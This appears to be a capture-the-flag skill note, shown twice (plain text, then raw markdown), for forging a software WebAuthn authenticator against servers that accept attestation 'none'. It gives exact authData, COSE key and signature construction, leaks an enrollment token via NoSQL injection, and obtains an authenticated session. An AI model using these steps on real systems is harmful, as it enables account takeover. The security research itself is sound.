Forge a software WebAuthn authenticator (attestation: none)
When it applies
- The app authenticates with WebAuthn/FIDO2 (register + authenticate "ceremonies",
navigator.credentials.create/get, client bundles calling
/register/begin,/register/finish,/auth/begin,/auth/finish).
register/begin returns creation options with "attestation":"none" (or the RP
never validates the attestation certificate chain). None-attestation means the server
does NOT check that a real hardware authenticator vouched for the key — so a key you
generate in software is accepted.
- You can start registration: either registration is open, or you can leak an
invite/enrollment token (see
tech-mongo-agg-facet-bypass and NoSQL-injection notes).
Why it works
WebAuthn security rests on the authenticator signing a server challenge with a private
key. With attestation:none, the server trusts whatever public key the client submits at
register/finish (no proof it came from a certified device). You therefore generate your
own keypair, register its public key, then at auth/finish sign the server's challenge
with the matching private key — a completely valid assertion, because it is your key.
Method (Python: cryptography + cbor2, one cookie session)
POST /register/begin {invite_token} → options (challenge, rp.id, user.id,
pubKeyCredParams incl. -7 = ES256, attestation:"none").
- Build the authenticator:
- EC P-256 keypair. COSE public key =
cbor2.dumps({1:2, 3:-7, -1:1, -2:x, -3:y})
(kty EC2, alg ES256, crv P-256, x, y — each coord 32 bytes big-endian).
authData = sha256(rp.id) + flags + signCount(4B) + attestedCredentialData
where flags = 0x45 (UP|UV|AT) and attestedCredentialData = aaguid(16×00) + credIdLen(2B) + credId(random) + coseKey.
attestationObject = cbor2.dumps({"fmt":"none","attStmt":{}, "authData":authData}).
clientDataJSON = {"type":"webauthn.create","challenge":<opts.challenge as-is>, "origin":"http(s)://<rp host:port>","crossOrigin":false}.
POST /register/finish with
{id:b64u(credId), rawId:b64u(credId), type:"public-key", response:{clientDataJSON:b64u, attestationObject:b64u}} → credential created.
POST /auth/begin → new challenge.
clientDataJSON = {"type":"webauthn.get","challenge":<achal>,"origin":<origin>}.
authData = sha256(rp.id) + flags(0x05 UP|UV) + signCount.
signature = privkey.sign(authData + sha256(clientDataJSON), ec.ECDSA(SHA256))
(cryptography emits DER — exactly what ES256 assertions use).
userHandle = b64u(<user.id bytes>) (needed for discoverable/resident-key flows).
POST /auth/finish with those fields → authenticated session cookie. Use it to hit
the app (dashboard/account) and grab the flag.
Tools
python3 with cryptography and cbor2 (both common). fido2 (python-fido2) has a
built-in software authenticator if you prefer a library. All base64 is base64url,
no padding. A ready reference implementation: aegis/exploit-dev/pwn.py.
Gotchas
- Origin/rpId must match what the server expects, including scheme and port
(
http://host:3000), and rp.id is the host WITHOUT the port. sha256(rp.id) uses the
host only.
challenge in clientDataJSON is the same base64url string the server sent (it's
just re-encoding the same bytes) — don't double-decode/re-pad it.
- Resident-key/usernameless flows:
auth/begin returns empty allowCredentials; you MUST
send the correct userHandle at auth/finish.
- If the RP validates attestation for real (
"direct"/known AAGUIDs with trusted roots),
this won't work — you'd need a genuine chain. none (or a lenient verifier) is the tell.
Verify success
register/finish returns 200/created and auth/finish returns 200 and sets an
authenticated session cookie that unlocks previously-redirected pages (e.g. /dashboard
stops 302-ing to /login).
Learned on
AEGIS lab, 2026-08 — leaked invite token via Mongo aggregation injection, then
registered a software P-256 authenticator (attestation "none") as operator op-2026-0042.
Full worked example in aegis/notes.md (§6) and aegis/exploit-dev/pwn.py.
1---2name: web-webauthn-software-authenticator3description: Register and authenticate against a WebAuthn/FIDO2 relying party using a self-built SOFTWARE authenticator (no hardware key) when the RP requests attestation "none" (or otherwise doesn't verify attestation trust). Load when: a login is "WebAuthn/passkey/ FIDO2", endpoints like /webauthn/register|auth/begin|finish, `navigator.credentials`, and you hold (or can leak) a registration invite/enrollment token. Authorized targets only.4---56# Forge a software WebAuthn authenticator (attestation: none)78## When it applies9- The app authenticates with **WebAuthn/FIDO2** (register + authenticate "ceremonies",10 `navigator.credentials.create/get`, client bundles calling11 `/register/begin`,`/register/finish`,`/auth/begin`,`/auth/finish`).12- `register/begin` returns creation options with **`"attestation":"none"`** (or the RP13 never validates the attestation certificate chain). None-attestation means the server14 does NOT check that a real hardware authenticator vouched for the key — so a key you15 generate in software is accepted.16- You can start registration: either registration is open, or you can **leak an17 invite/enrollment token** (see `tech-mongo-agg-facet-bypass` and NoSQL-injection notes).1819## Why it works20WebAuthn security rests on the authenticator signing a server challenge with a private21key. With `attestation:none`, the server trusts whatever public key the client submits at22`register/finish` (no proof it came from a certified device). You therefore generate your23own keypair, register its public key, then at `auth/finish` sign the server's challenge24with the matching private key — a completely valid assertion, because it *is* your key.2526## Method (Python: `cryptography` + `cbor2`, one cookie session)271. `POST /register/begin {invite_token}` → options (`challenge`, `rp.id`, `user.id`,28 `pubKeyCredParams` incl. **-7 = ES256**, `attestation:"none"`).292. Build the authenticator:30 - EC **P-256** keypair. COSE public key = `cbor2.dumps({1:2, 3:-7, -1:1, -2:x, -3:y})`31 (kty EC2, alg ES256, crv P-256, x, y — each coord 32 bytes big-endian).32 - `authData = sha256(rp.id) + flags + signCount(4B) + attestedCredentialData`33 where `flags = 0x45` (UP|UV|AT) and `attestedCredentialData = aaguid(16×00) +34 credIdLen(2B) + credId(random) + coseKey`.35 - `attestationObject = cbor2.dumps({"fmt":"none","attStmt":{}, "authData":authData})`.36 - `clientDataJSON = {"type":"webauthn.create","challenge":<opts.challenge as-is>,37 "origin":"http(s)://<rp host:port>","crossOrigin":false}`.383. `POST /register/finish` with39 `{id:b64u(credId), rawId:b64u(credId), type:"public-key",40 response:{clientDataJSON:b64u, attestationObject:b64u}}` → credential created.414. `POST /auth/begin` → new `challenge`.42 - `clientDataJSON = {"type":"webauthn.get","challenge":<achal>,"origin":<origin>}`.43 - `authData = sha256(rp.id) + flags(0x05 UP|UV) + signCount`.44 - `signature = privkey.sign(authData + sha256(clientDataJSON), ec.ECDSA(SHA256))`45 (cryptography emits DER — exactly what ES256 assertions use).46 - `userHandle = b64u(<user.id bytes>)` (needed for discoverable/resident-key flows).475. `POST /auth/finish` with those fields → authenticated session cookie. Use it to hit48 the app (dashboard/account) and grab the flag.4950## Tools51`python3` with `cryptography` and `cbor2` (both common). `fido2` (python-fido2) has a52built-in software authenticator if you prefer a library. All base64 is **base64url,53no padding**. A ready reference implementation: `aegis/exploit-dev/pwn.py`.5455## Gotchas56- **Origin/rpId must match** what the server expects, including scheme and port57 (`http://host:3000`), and `rp.id` is the host WITHOUT the port. `sha256(rp.id)` uses the58 host only.59- `challenge` in `clientDataJSON` is the **same base64url string** the server sent (it's60 just re-encoding the same bytes) — don't double-decode/re-pad it.61- Resident-key/usernameless flows: `auth/begin` returns empty `allowCredentials`; you MUST62 send the correct `userHandle` at `auth/finish`.63- If the RP validates attestation for real (`"direct"`/known AAGUIDs with trusted roots),64 this won't work — you'd need a genuine chain. `none` (or a lenient verifier) is the tell.6566## Verify success67`register/finish` returns 200/created and `auth/finish` returns 200 and sets an68authenticated session cookie that unlocks previously-redirected pages (e.g. `/dashboard`69stops 302-ing to `/login`).7071## Learned on72**AEGIS lab, 2026-08** — leaked invite token via Mongo aggregation injection, then73registered a software P-256 authenticator (attestation "none") as operator `op-2026-0042`.74Full worked example in `aegis/notes.md` (§6) and `aegis/exploit-dev/pwn.py`.